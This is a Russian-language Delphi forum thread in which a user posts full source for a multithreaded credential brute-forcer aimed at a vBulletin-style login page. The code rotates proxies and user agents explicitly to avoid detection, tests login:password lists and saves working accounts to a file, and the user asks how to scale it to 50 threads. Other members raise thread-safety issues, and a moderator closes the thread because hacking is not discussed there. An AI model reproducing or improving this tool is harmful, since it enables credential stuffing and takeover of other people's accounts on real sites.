Модераторы: Poseidon, Snowy, bems, MetalFan
  

Поиск:

Закрытая темаСоздание новой темы Создание опроса
> Многопоточность 
:(
    Опции темы
Ardinvest
  Дата 2.6.2012, 18:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 4
Регистрация: 31.5.2012

Репутация: нет
Всего: нет



Столкнулся с пробемой многопоточности....Суть проблеммы заключается в том,что вроде всё нормально написано,но почему-то,программа работает очень медленно(Шлёт POST запросы очень медленно).Подскажите пожалуста,как в ней сделать например 50 потоков. smile Вот код программы полностью:
Код


unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, StdCtrls, xpman, ExtCtrls, Gauges, Unit2, IdCookieManager;

type
  TForm1 = class(TForm)
    LogMemo: TMemo;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    IdHTTP1: TIdHTTP;
    GroupBox2: TGroupBox;
    Edit2: TEdit;
    Button2: TButton;
    GroupBox3: TGroupBox;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    OpenDialog1: TOpenDialog;
    Button3: TButton;
    Button4: TButton;
    Proc: TGauge;
    Timer1: TTimer;
    AllLabel: TLabel;
    ProxyLabel: TLabel;
    GoodLabel: TLabel;
    BadLabel: TLabel;
    ErrorLabel: TLabel;
    Label6: TLabel;
    IdCookieManager1: TIdCookieManager;
    procedure Button3Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button1Click(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public //Пусть функция будет доступна всем
  Function CheckAcc(login, passw, proxy, pport:string):integer;
    { Public declarations }
  end;

  TBruteThread=class(TThread) 
  Private
    Protected
      Procedure Execute;override;
  Public
    Constructor Create(CreateSuspended: boolean);
  end;

var
  Form1: TForm1;
  work:boolean;
  tp, coded:integer;
  GoodFile:TextFile;
  ProxyList, SourceList:TStringList;
  UserAg: array [0..10] of string=( //массив c user agent'ами дабы не просекли что идёт брут.
    'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
    'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
    'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
    'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
    'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
    'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
  );
  S:string;

implementation

{$R *.dfm}
function TForm1.CheckAcc(login, passw, proxy, pport: string): integer;
var HTTP:TidHTTP; send:TStringList; pg:string;
begin
  HTTP:=TIdHTTP.Create(nil); //создаём компонент
  with HTTP do begin //устанавливаем настройки
    AllowCookies:=true; //включаем куки
    HandleRedirects:=false; //Запрещаем редирект на страницу
    ReadTimeout:=8000; //Тайм аут на соединение (типо чекер прокси)
    ProxyParams.ProxyServer:=proxy; //Присваиваем прокси хост
    ProxyParams.ProxyPort:=StrToInt(pport); //Присваиваем прокси порт
    randomize; //Рандомизируем числа
    Request.UserAgent:=UserAg[random(10)]; // Присваиваем User Agent 
  end;

  //формируем параметры для POST запроса
  Send:=TStringList.Create;
  Send.Add('s=');
  Send.Add('do=login');
  Send.Add('vb_login_md5password='+md5(passw));
  Send.Add('vb_login_md5password_utf='+md5(passw));
  Send.Add('vb_login='+login);
  Send.Add('vb_password='+passw);
  try //Перехват ошибок которые могут возникнуть во время отправки запроса
    HTTP.Request.Referer:='http://site.ru/index.php'; //Мы авторизируемся с главной страницы =)
    pg:=HTTP.Post('http://site.ru/login.php', send); //Отправляем запрос
    result:=2; //если нету редиректа значит аккаунт не валидный. Пичалька...
  except
    if pos('profile.php',pg)<>0 then result:=0 else result:=1; //Если код 302 (редирект) то успешно авторизировались!
  end;
  Send.Free; //Удаляем созданные ранее переменные
  HTTP.Free; //Удаляем созданные ранее компоненты
end;

constructor TBruteThread.Create(CreateSuspended: boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure TBruteThread.Execute;
var rez:integer; ps, pp, slog, spass, sacc:string;
begin

  while work do begin //цикл будет длится до тех пор, пока work=true
    inc(tp); //Увеличиваем переменную TP на 1, если записать так inc(tp, 2) то увеличится на 2
    if tp=ProxyList.Count-1 then tp:=0; //Если конец списка, то идём с начала

    ps:=Copy(ProxyList[tp], 1, Pos(':',ProxyList[tp])-1); //Копируем адрес
    pp:=Copy(ProxyList[tp], Pos(':', ProxyList[tp])+1, Length(ProxyList[tp])); //Копируем порт

    sacc:=SourceList[0]; //Берём первый аккаунт
    SourceList.Delete(0); //Удаляем первый аккаунт дабы не засорял список.

    if SourceList.Count=0 then work:=false; //Если всё прошли то вырубаем цикл

    if pos(';', sacc)<>0 then begin //Если разделитель такой то
      slog:=Copy(sacc, 1, Pos(';',sacc)-1); //Копируем логин
      spass:=Copy(sacc, Pos(';', sacc)+1, Length(sacc)); //Копируем пароль
    end else begin //иначе
      slog:=Copy(sacc, 1, Pos(':',sacc)-1);
      spass:=Copy(sacc, Pos(':', sacc)+1, Length(sacc));
    end;

    //Дабы не писать всё тут - лучше создать отдельную функцию (можно даже в потоке)
    rez:=Form1.CheckAcc(slog, spass, ps, pp); //Вызываем функцию и результат записываем в переменную rez

      case rez of //Открываем переменную
        0:begin //Если в переменной 0 то
          //Добавляем аккаунт в конец списка что бы потом проверить ещё раз.
          SourceList.Add(slog+';'+spass);
          Form1.ErrorLabel.Caption:=IntToStr(StrToInt(Form1.ErrorLabel.Caption)+1); //Увеличиваем  Label с кол-вом ошибок
        end;

        1:begin //Если в переменной 1 то
          Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1); //Увеличиваем  Label с кол-вом гудов

          Append(GoodFile); //открываем файл
          Writeln(GoodFile, slog+';'+spass); //Добавляем строчку (знакомо с паскаля)
          Closefile(GoodFile); //Закрываем файл

          Form1.LogMemo.Lines.Add(slog+';'+spass+'   -Зареган в SiteRU'); //Выводим аккаунт
          Form1.Proc.Progress:=Form1.Proc.Progress+1; //отображаем процесс
        end;

        2:begin //Если в переменной 2 то
          Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1); //Увеличиваем  Label с кол-вом bad'ов
          Form1.Proc.Progress:=Form1.Proc.Progress+1; //Продвигаемся =)
        end;
      end;
  end;
  Form1.LogMemo.Lines.Add('Success!'); //Если цикл закончился то выводим сообщение
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
tp:=-1; //Начинаем с первого прокси, ставим -1 т.к. будет inc() в начале
work:=true; //Включаем цикл
proc.MaxValue:=SourceList.Count-1; //Присваиваем общие кол-во аккаунтов
TBruteThread.Create(false); //Запускаем поток
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 SourceList.Free; //Сносим переменную
 ProxyList.Free; //Сносим переменную
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then begin //Если выбрали файл то
    SourceList.Clear; //Очищаем на всякий случай.
    SourceList.LoadFromFile(OpenDialog1.FileName); //Загружаем выбранный файл
    Edit1.Text:=OpenDialog1.FileName; //Выводим путь
    AllLabel.Caption:=IntToStr(SourceList.Count-1); //Выводим кол-во строк в source
  end;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName); //Указываем начальную папку
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if OpenDialog1.Execute then begin //Если выбрали файл то
    ProxyList.Clear; //Очищаем на всякий случай.
    ProxyList.LoadFromFile(OpenDialog1.FileName); //Загружаем выбранный файл
    Edit2.Text:=OpenDialog1.FileName; //Выводим путь
    ProxyLabel.Caption:=IntToStr(ProxyList.Count-1); //Выводим кол-во прокси
  end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
work:=false; //Останавливаем цикл
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
ProxyList:=TStringList.Create; //Создаём прокси лист
SourceList:=TStringList.Create; //Аналогично

coded:=0;
 if not FileExists(ExtractFilePath(Application.ExeName)+'Registered.txt') then begin //если файл не найден то
  Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'UnRegistered.txt'); //Указываем путь файла
  Rewrite(GoodFile); //Создаём
  Closefile(GoodFile); //Закрываем
 end else Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'Registered.txt'); //Если файл есть то прость указываем его путь.
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin  //Создаём прикольный эффект!
  case coded of //Открываем переменную coded
  0:Timer1.Enabled:=false;
  end;
  inc(coded); //Повышаем число в переменной на 1
end;

end.



Это сообщение отредактировал(а) Ardinvest - 3.6.2012, 00:59
PM MAIL   Вверх
ZBugz
Дата 3.6.2012, 08:06 (ссылка)    | (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 636
Регистрация: 15.2.2006
Где: Москва

Репутация: 6
Всего: 6



50 раз запусти поток и все. Так ты один раз запускаешь в procedure TForm1.Button3Click(Sender: TObject);

PM MAIL   Вверх
kami
Дата 3.6.2012, 12:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1806
Регистрация: 25.8.2007
Где: Санкт-Петербург

Репутация: 23
Всего: 72



Ardinvest, очень прошу - прочитайте тему в разделе WinAPI - Многопоточность - как это делается в Delphi. У Вас в коде используется то, что при наличии более одного потока неминуемо приведет к совершенно непонятным глюкам и багам:
1. Обращение из доп.потока к форме напрямую.
2. Использование потоко-небезопасных TStringList и TextFile без средств синхронизации (под синхронизацией я не имею ввиду TThread.Syncronize).

В остальном - наверное, правильно сказал ZBugz, но разве индейцы сами не используют доп.потоки?
PM MAIL WWW   Вверх
Ardinvest
Дата 3.6.2012, 12:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 4
Регистрация: 31.5.2012

Репутация: нет
Всего: нет



Цитата(kami @  3.6.2012,  12:21 Найти цитируемый пост)
Ardinvest, очень прошу - прочитайте тему в разделе WinAPI - Многопоточность - как это делается в Delphi. У Вас в коде используется то, что при наличии более одного потока неминуемо приведет к совершенно непонятным глюкам и багам:
1. Обращение из доп.потока к форме напрямую.
2. Использование потоко-небезопасных TStringList и TextFile без средств синхронизации (под синхронизацией я не имею ввиду TThread.Syncronize).

В остальном - наверное, правильно сказал ZBugz, но разве индейцы сами не используют доп.потоки? 


Как я понял,вы имеете ввиду ещё использование критических секций?

PM MAIL   Вверх
kami
Дата 3.6.2012, 13:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1806
Регистрация: 25.8.2007
Где: Санкт-Петербург

Репутация: 23
Всего: 72



Цитата(Ardinvest @  3.6.2012,  12:52 Найти цитируемый пост)
Как я понял,вы имеете ввиду ещё использование критических секций?

Не только. Одними критическими секциями при обращении к визуальным компонентам не обойтись.
PM MAIL WWW   Вверх
Ardinvest
Дата 3.6.2012, 14:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 4
Регистрация: 31.5.2012

Репутация: нет
Всего: нет



Цитата(kami @  3.6.2012,  13:32 Найти цитируемый пост)
Не только. Одними критическими секциями при обращении к визуальным компонентам не обойтись. 

Что-то я вообще запутался в этих потоках..... smile 

PM MAIL   Вверх
bems
Дата 3.6.2012, 17:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 31
Всего: 88



Ardinvest, ты не понимаешь? Взлом на этом форуме не обсуждается


--------------------
Обижено школьников: 8
PM MAIL   Вверх
  
Закрытая темаСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0474 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.